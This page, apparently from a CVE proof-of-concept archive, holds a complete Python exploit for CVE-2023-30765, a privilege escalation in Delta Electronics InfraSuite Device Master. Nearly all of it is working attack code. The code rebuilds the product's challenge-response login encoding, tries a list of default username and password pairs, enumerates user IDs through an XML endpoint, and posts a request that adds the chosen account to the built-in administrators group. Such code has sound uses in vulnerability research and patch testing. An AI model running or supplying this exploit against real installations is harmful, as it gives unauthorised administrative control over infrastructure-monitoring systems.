4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2023-30765.py PY
'''
CVE-2023-30765 / ZDI-23-905: Delta Electronics Infrasuite Device Master Privilege Escalation
bug credit - Piotr Bazydlo (@chudypb)
fml-
'''

'''
## challenge / response headers ##
台達電子 (Delta Electronics) is prepended in user-challenge-response request data
Challenge = e3e742b33e01f6e0f2f0c34c669fafdc
=== md5(<password><timestamp>)
ChallengeValue = %25u53F0%25u9054%25u96FB%25u5B50 8974929296889177 27252728222532222628142725272814284227331428423034
== 台達電子897492929688917727252728222532222627142725272514284230331428422725
=== <chinese utf16>encoded(<password><time>)

encoding = charcode + offset (num_to_str//str_to_num funcs)
eg:
89 74 92 92 96 88 91 77
 p  a  s  s  w  o  r  d

encode >> s = 'ASDF';for(var i=0; i < s.length; i++) {console.log(s.charCodeAt(i) - 23)}
decode >> s = 'ASDF';for(var i=0; i < s.length; i++) {console.log(s.charCodeAt(i) + 23)}  
'''

import requests
import argparse
import bs4
from datetime import *
import hashlib
import re

def str_to_num(data):
    # based on the delta elec. js implementation 
    out = ''
    for i in range(len(str(data))):
        a = ord(data[i]) - 23
        out += str(a)
    return out

def conncheck(ip, port, tls):
    #grabs header for sanity
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
    }
    if not tls:
        url = "http://{}:{}".format(ip,port)
    else:
        url = "https://{}:{}".format(ip,port)
    
    r = requests.get(url, headers=headers)
    if r.status_code == 200:
        html = bs4.BeautifulSoup(r.text, 'lxml')
        print('[*] got title: {}'.format(html.title.text))
        return url
    else:
        print("[!] received {} from server".format(r.status_code))

def usercheck(url, datefmt):
    # soft brute-force users based on defaults
    print("[*] checking default accounts")
    usrs = ['Administrator','User','Device','Ems3000','Ems4000']
    pwds = ['password', 'Ems3000!']
    found = False
    for u in usrs:
        for p in pwds:
            status = dologin(url, u, p)
            if status == "true":
                print("[+] {} : {}".format(u,p))
                found = True
                return found, u, p
            else:
                print("[-] {} : {}".format(u,p))
    return found

def dologin(url,username, password):
    #login with formatted data
    challenge, datefmt = genchallenge(password)
    data = {
        'Account': '{}'.format(username),
        'Challenge': '{}'.format(challenge),
        'Time': '{}'.format(datefmt),
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
    }
    url = url+'/infrasuitemanager/realtime/login.xml'
    r = requests.post(url, headers=headers, data=data)
    html = bs4.BeautifulSoup(r.text, 'xml')
    status = html.get_text()
    return status

def getuserid(url, username, password):
    #get user ids from xml dumps for esc request group adding
    url = url + '/infrasuitemanager/runningconfigure/userinfo.xml'
    print('[*] enumerating id for {}'.format(username))
    challenge, datefmt = genchallenge(password)
    challengevalue = genchallengevalue(password)
    cookies = {
        'InfraSuite-Manager_SystemLang': 'Lng-EnglishTagList',
        'InfraSuiteManagerLoginMode': '1',
        'Account': '{}'.format(username),
        'Challenge': '{}'.format(challenge),
        'RememberLogin': 'false',
        'ChangeKey': '{}'.format(datefmt),
        'ChallengeValue': '{}'.format(challengevalue),
    }
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36'}
    # 16777216 = GET_USER_NAME_ID_LIST from Common.dll!CtrlLayerNWCommand_UserInfo_SubCommand
    
    data = 'xml=<CtrlLayerNWCommand_UserInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><i16OperationUserID>-1</i16OperationUserID><i32SubCommand>16777216</i32SubCommand></CtrlLayerNWCommand_UserInfo>'

    r = requests.post(url, headers=headers, cookies=cookies, data=data)
    html = bs4.BeautifulSoup(r.text, 'html.parser')
    accs = html.find_all('account', text=True)
    retag = re.compile('<.*?>')
    ids = re.findall('<i16UserID>[0-9]</i16UserID>', r.text)
    ids = [re.sub(retag,'',w) for w in ids]
    accs = [re.sub(retag,'',str(x)) for x in accs]
    print("[*] found {} users".format(len(accs)))
    off = accs.index(username)
    ids = ids[::2]
    userid = ids[off]
    print("[*] account {} is ID:{}".format(username, userid))
    return userid

def escreq(url, username, password, userid):
    # send the vuln request to escalate current user to admin
    # warning: this is sketchy;
    # - couldnt find a way to enum current group contents
    # - so this just ads the current user and admin to the default admins group
    # - YMMV
    print('[*] escalating account: {}'.format(username))
    url = url + '/infrasuitemanager/Runningconfigure/modifyusergroup.xml'
    challenge, datefmt = genchallenge(password)
    challengevalue = genchallengevalue(password)
    data = {
    'UserId': '0,{}'.format(userid), #sketchy for other admin users. yolo.
    'opUserID': '0',
    'Groupid': '0',
    'Title': 'Administrator',
    'Privilegelevel': '0',
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
    }
    cookies = {
        'InfraSuite-Manager_SystemLang': 'Lng-EnglishTagList',
        'InfraSuiteManagerLoginMode': '1',
        'AllViewLayoutWestisClosed': 'false',
        'AllViewLayoutWestSize': '250',
        'AllViewLayoutPlaneSouthisClosed': 'false',
        'AllViewLayoutPlaneSouthSize': '320',
        'AllViewLayoutDeviceSouthSize': '150',
        'AllViewLayoutDeviceSouthisClosed': 'false',
        'AllViewLayoutSouthSize': '150',
        'AllViewLayoutSouthisClosed': 'false',
        'Account': '{}'.format(username),
        'Challenge': '{}'.format(challenge),
        'RememberLogin': 'false',
        'ChangeKey': '{}'.format(datefmt),
        'ChallengeValue': '{}'.format(challengevalue),
    }
    r = requests.post(url, headers=headers, cookies=cookies, data=data)
    html = bs4.BeautifulSoup(r.text, 'xml')
    status = html.get_text()
    print("[*] success: {}".format(status))

def genchallenge(password):
    datefmt = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    passtime = str(password)+datefmt
    challenge = hashlib.md5(passtime.encode('utf-8')).hexdigest()
    return challenge, datefmt

def genchallengevalue(password):
    datefmt = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    unicode = "%25u53F0%25u9054%25u96FB%25u5B50"
    datefmt = datefmt.replace(' ','%20')
    datefmt = datefmt.replace(':','%3A')
    challengevalue = unicode + str_to_num(password) + str_to_num(datefmt)
    return challengevalue

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Delta Electronics Infrasuite Device Master Privilege Escalation (CVE-2023-30765)")
    parser.add_argument("-i", "--target", type=str, action="store", dest="target", required=True, help="Target Infrasuite instance")
    parser.add_argument("-p", "--port", type=str, action="store", dest="port", default='80', help="Target webservice port (default:80)")
    parser.add_argument("-t", "--tls", action="store_true", dest="tls", default=False, help="Target webservice has tls (default:false)")
    parser.add_argument("--user", type=str, action="store", dest="user", help="Account to escalate")
    parser.add_argument("--pass", type=str, action="store", dest="pwd", default='4433', help="Account password")
    parser.add_argument("-b", "--brute", action="store_true", dest="brute", default=False, help="Brute-force default user:pass pairs")
    args = parser.parse_args()
    
    datefmt = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    username = args.user
    password = args.pwd
    url = conncheck(args.target, args.port, args.tls)
    if args.brute:
        userstatus, username, password = usercheck(url, datefmt)
        if userstatus == False:
            print("[-] no valid accounts found")
            exit(0)
    
    loginstatus = dologin(url,username, password)
    print('[*] logged in: {}'.format(loginstatus))
    if loginstatus != "true":
        print('[!] check credentials')
        exit(0)
    userid = getuserid(url, username, password)
    escreq(url, username, password, userid)